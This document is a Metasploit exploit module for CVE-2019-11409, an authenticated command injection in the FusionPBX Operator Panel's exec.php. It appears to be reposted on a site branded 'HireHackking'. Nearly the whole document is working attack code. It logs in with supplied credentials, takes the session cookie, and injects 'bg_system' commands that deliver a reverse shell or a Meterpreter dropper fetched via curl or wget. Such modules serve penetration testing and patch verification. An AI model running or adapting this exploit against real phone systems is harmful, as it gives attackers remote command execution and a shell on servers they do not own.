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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'FusionPBX Operator Panel exec.php Command Execution',
      'Description'     => %q{
        This module exploits an authenticated command injection vulnerability
        in FusionPBX versions 4.4.3 and prior.

        The `exec.php` file within the Operator Panel permits users with
        `operator_panel_view` permissions, or administrator permissions,
        to execute arbitrary commands as the web server user by sending
        a `system` command to the FreeSWITCH event socket interface.

        This module has been tested successfully on FusionPBX version
        4.4.1 on Ubuntu 19.04 (x64).
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Dustin Cobb', # Discovery and exploit
          'bcoles'       # Metasploit
        ],
      'References'      =>
        [
          ['CVE', '2019-11409'],
          ['EDB', '46985'],
          ['URL', 'https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html'],
          ['URL', 'https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611']
        ],
      'Platform'        => %w[unix linux],
      'Arch'            => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Payload'         => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
      'CmdStagerFlavor' => %w[curl wget],
      'Targets'         =>
        [
          ['Automatic (Unix In-Memory)',
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
            'Type'           => :unix_memory
          ],
          ['Automatic (Linux Dropper)',
            'Platform'       => 'linux',
            'Arch'           => [ARCH_X86, ARCH_X64],
            'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
            'Type'           => :linux_dropper
          ]
        ],
      'Privileged'      => false,
      'DefaultOptions'  => { 'SSL' => true, 'RPORT' => 443 },
      'DisclosureDate'  => '2019-06-06',
      'DefaultTarget'   => 0))
    register_options [
      OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),
      OptString.new('USERNAME', [true, 'The username for FusionPBX']),
      OptString.new('PASSWORD', [true, 'The password for FusionPBX'])
    ]
  end

  def login(user, pass)
    vprint_status "Authenticating as user '#{user}'"

    vars_post = {
      username: user,
      password: pass,
      path: ''
    }

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
      'vars_post' => vars_post
    })

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    if res.code == 302 && res.headers['location'].include?('login.php')
      fail_with Failure::NoAccess, "Login failed for user '#{user}'"
    end

    unless res.code == 200
      fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
    end

    cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first

    unless cookie
      fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
    end

    print_good "Authenticated as user '#{user}'"

    cookie
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.body.include?('FusionPBX')
      return CheckCode::Detected
    end

    CheckCode::Safe
  end

  def execute_command(cmd, opts = {})
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'app/operator_panel/exec.php'),
      'cookie'  => "PHPSESSID=#{@cookie}",
      'vars_get' => {'cmd' => "bg_system #{cmd}"}
    }, 5)

    unless res
      return if session_created?
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless res.code == 200
      fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
    end

    if res.body.include? 'access denied'
      fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to access the Operator Panel"
    end

    res
  end

  def exploit
    unless check == CheckCode::Detected
      fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
    end

    @cookie = login(datastore['USERNAME'], datastore['PASSWORD'])

    print_status "Sending payload (#{payload.encoded.length} bytes) ..."

    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(:linemax => 1_500)
    end
  end
end